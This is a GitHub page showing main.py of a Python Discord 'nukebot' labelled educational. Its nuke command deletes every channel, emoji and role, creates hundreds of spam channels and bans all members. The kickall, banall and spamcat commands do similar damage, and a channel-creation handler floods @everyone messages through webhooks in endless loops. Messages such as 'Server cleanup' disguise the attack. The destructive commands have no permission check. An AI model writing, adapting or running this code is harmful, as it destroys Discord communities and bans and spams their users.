-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
123 lines (106 loc) · 3.32 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# Nukebot by Naju
# This bot is for educational purposes only. Please use it responsibly and only on servers where you have explicit permission.
# Unauthorized or malicious use of this bot may lead to bans or legal consequences.
import os
import discord
from discord.ext import commands
import random
import asyncio
CHANNEL_NAMES = [
"nuked-by-aircrackers", "nuked-by-aircrackers", "nuked-by-aircrackers"
]
SPAM_MESSAGE = [
"@everyone This server has been restructured", "@everyone Server cleanup",
"@everyone Have a great day!"
]
WEBHOOK_NAMES = [
'uppa', 'friend', 'random', 'rocket', 'cleaner', 'admin', 'helper'
]
ascii_art = r'''
__ __ ____ ___ ____ __ ___ __ _ ____ ____ ____
/ _\ ( )( _ \ / __)( _ \ / _\ / __)( / )( __)( _ \/ ___)
/ \ )( ) / ( (__ ) // \( (__ ) ( ) _) ) /\___ \
\_/\_/(__)(__\_) \___)(__\_)\_/\_/ \___)(__\_)(____)(__\_)(____/
MADE BY NAJU ONLY FOR EDUCATIONAL PURPOSE
'''
red_color = "\033[91m"
reset_color = "\033[0m"
intents = discord.Intents.all()
client = commands.Bot(command_prefix=".", intents=intents)
@client.event
async def on_ready():
print(red_color + ascii_art + reset_color +
f"Logged in as {client.user}")
@client.command()
async def nuke(ctx, amount=500):
await ctx.message.delete()
await ctx.guild.edit(name="Server Cleaned")
guild = ctx.guild
for channel in guild.channels:
try:
await channel.delete()
except:
pass
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
except:
pass
for i in range(amount):
try:
await ctx.guild.create_text_channel(random.choice(CHANNEL_NAMES))
except:
pass
for role in ctx.guild.roles:
try:
await role.delete()
except:
pass
for member in ctx.guild.members:
try:
await member.ban(reason="Cleanup in progress")
except:
pass
@client.command()
async def kickall(ctx):
await ctx.message.delete()
for member in ctx.guild.members:
try:
await member.kick(reason="Cleanup in progress")
except:
pass
@client.command()
@commands.is_owner()
async def online(ctx):
await client.change_presence(status=discord.Status.online)
await ctx.message.delete()
@client.command()
@commands.is_owner()
async def offline(ctx):
await client.change_presence(status=discord.Status.offline)
await ctx.message.delete()
@client.command()
async def spamcat(ctx):
await ctx.message.delete()
while True:
try:
await ctx.guild.create_category(name="NajuBot Cleanup")
except:
pass
@client.command()
async def banall(ctx):
await ctx.message.delete()
for user in ctx.guild.members:
try:
await user.ban(reason="Cleanup in progress")
except:
pass
@client.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name=random.choice(WEBHOOK_NAMES))
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await webhook.send(random.choice(SPAM_MESSAGE),
username=random.choice(WEBHOOK_NAMES))
token = ("YOUR_BOT_TOKEN_HERE")
client.run(token)